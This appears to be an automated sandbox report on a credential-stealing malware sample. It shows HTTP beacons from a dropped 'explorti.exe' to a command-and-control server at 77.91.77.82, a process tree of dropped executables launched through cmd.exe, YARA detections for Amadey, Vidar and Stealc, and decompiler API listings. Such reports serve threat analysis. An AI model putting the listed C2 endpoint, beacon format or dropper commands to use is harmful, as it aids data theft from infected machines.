Jun 28, 2024 13:38:28.775285959 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:29.445332050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49866	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:29.562633991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:30.230897903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49867	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:30.281537056 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:30.930067062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49868	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:31.051462889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:31.728414059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49869	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:31.738116026 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:32.435683966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49870	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:32.566912889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:33.240190983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	07:35:55
Start date:	28/06/2024
Path:	C:\Users\user\Desktop\j7iUba2bki.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\j7iUba2bki.exe"
Imagebase:	0x3e0000
File size:	2'502'656 bytes
MD5 hash:	0F8B01FCE87324B3C2E7FA5964AE96CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2215514632.0000000001744000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:36:13
Start date:	28/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:36:13
Start date:	28/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:36:13
Start date:	28/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BKJEHCAKFB.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:36:13
Start date:	28/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:36:13
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"
Imagebase:	0x30000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2219609337.0000000004800000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2260218850.0000000000031000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:36:17
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x260000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2262869399.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.4487082137.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:36:18
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x260000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2306823065.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2266484837.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:36:25
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe"
Imagebase:	0x300000
File size:	2'502'656 bytes
MD5 hash:	0F8B01FCE87324B3C2E7FA5964AE96CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:37:00
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x260000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2726193892.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2685932986.0000000005240000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:38:00
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x260000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.3326557554.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.3286082543.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:39:00
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x260000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.3889545607.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.3930133828.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:40:00
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x260000
File size:	1'886'720 bytes
MD5 hash:	D9ED33D1C80ADAF29B8C2A8A14731B07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.4486056230.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.4487080695.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.7%
Total number of Nodes:	115
Total number of Limit Nodes:	13

Executed Functions

Function 6C3135A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C39F688,00001000), ref: 6C3135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C3135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C31363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C31369F
__aulldiv.LIBCMT ref: 6C3136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C313773
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C31377E
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C3137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C3137C4
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C3137CB
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C313801
__aulldiv.LIBCMT ref: 6C313883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C313902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C313918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C31394C

Strings

$me/, xrefs: 6C3135AC
QPC, xrefs: 6C3138FC
GenuntelineI, xrefs: 6C313639
AuthcAMDenti, xrefs: 6C313946
GTC, xrefs: 6C313912
MOZ_TIMESTAMP_MODE, xrefs: 6C3135DB

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: $me/$AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-1096335371
Opcode ID: 49426de118b76a24b06eeb0989302c9d7a363ff52b42b7aa1387453efebdb592
Instruction ID: 2aaf5fae569a2952df2a07e2fac74259348a16f93213096ed377ee88fec48be3
Opcode Fuzzy Hash: 49426de118b76a24b06eeb0989302c9d7a363ff52b42b7aa1387453efebdb592
Instruction Fuzzy Hash: F8B19072B093109FDB08DF29D84461ABBFDBB8E704F05892DE899D7750E77698048F92

Function 6C32C930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C32C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C32C969
GetSystemInfo.KERNEL32(?), ref: 6C32C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C32C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C32C9E2

Strings

$me/, xrefs: 6C32C939

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: $me/
API String ID: 4191843772-2210144079
Opcode ID: d7f03d33ada937e9df81fac6d7ab4791abbbfb0ca586e4949185e7429c24e563
Instruction ID: 2656a2205649a5ac2918b70948eb16670fd0894ef451d24bda2de03063890913
Opcode Fuzzy Hash: d7f03d33ada937e9df81fac6d7ab4791abbbfb0ca586e4949185e7429c24e563
Instruction Fuzzy Hash: 7B21DA71741214ABEF14AF24EC84BAE73BDFB46704F500119F947A7640EB7698048FA1

Function 6C313060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C313095

Part of subcall function 6C3135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C39F688,00001000), ref: 6C3135D5
Part of subcall function 6C3135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3135E0
Part of subcall function 6C3135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C3135FD
Part of subcall function 6C3135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C31363F
Part of subcall function 6C3135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C31369F
Part of subcall function 6C3135A0: __aulldiv.LIBCMT ref: 6C3136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31309F

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C3130BE

Part of subcall function 6C3130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C313127
Part of subcall function 6C3130F0: __aulldiv.LIBCMT ref: 6C313140

Part of subcall function 6C34AB2A: __onexit.LIBCMT ref: 6C34AB30

Strings

$me/, xrefs: 6C31306A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: $me/
API String ID: 4291168024-2210144079
Opcode ID: dd24e285ed2d308357d9dcae85d984bd208ee8656f5da5774652c1ead718eab6
Instruction ID: 98f4f99d9669a7fb222ef166e08f328137222c3000eedf7e7e39b6a8e61585ad
Opcode Fuzzy Hash: dd24e285ed2d308357d9dcae85d984bd208ee8656f5da5774652c1ead718eab6
Instruction Fuzzy Hash: 19F0A912D24B4497CB10DF7488411E673B8AF6F114F505719F88567651FB2161E887D6

Function 00712E84 Relevance: 1.3, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@nt, xrefs: 00712EE4, 00712EFF, 00712F17

Memory Dump Source

Source File: 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2211761179.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000617000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.000000000074C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_j7iUba2bki.jbxd

Yara matches

Similarity

API ID:
String ID: @nt
API String ID: 0-600680414
Opcode ID: add6b91f3bede188c1928f3af4d9e97b56554aecc5231defc8d6b40b7f92ab35
Instruction ID: 0ded5324dea0ca4c2645ce685bca199219286d1947a5f4229e4bfe8549ce3e68
Opcode Fuzzy Hash: add6b91f3bede188c1928f3af4d9e97b56554aecc5231defc8d6b40b7f92ab35
Instruction Fuzzy Hash: 1B118F707001519BE345DF6DE8C5A95B3ABAF8A305F10C275E444873E6DB78AC93CB68

Function 00773B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00773BB7

Memory Dump Source

Source File: 00000000.00000002.2211871328.0000000000766000.00000040.00000001.01000000.00000003.sdmp, Offset: 0061C000, based on PE: true

Associated: 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.000000000074C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211871328.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_j7iUba2bki.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ae9b61d50ba2dedae574446c16a78179baa1b1d102eded1c2f8c9f73291d13d6
Instruction ID: 6584cb74ceb89d0d0b1e0544d32c393b2a9c9b62eb99f97b85f46888b5ede2f7
Opcode Fuzzy Hash: ae9b61d50ba2dedae574446c16a78179baa1b1d102eded1c2f8c9f73291d13d6
Instruction Fuzzy Hash: 0FE0E2B6300608ABDF10CE9CD884BAB339DEB88350F14C011FA19D7214C238EE10A7A6

Non-executed Functions

Function 6C325440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

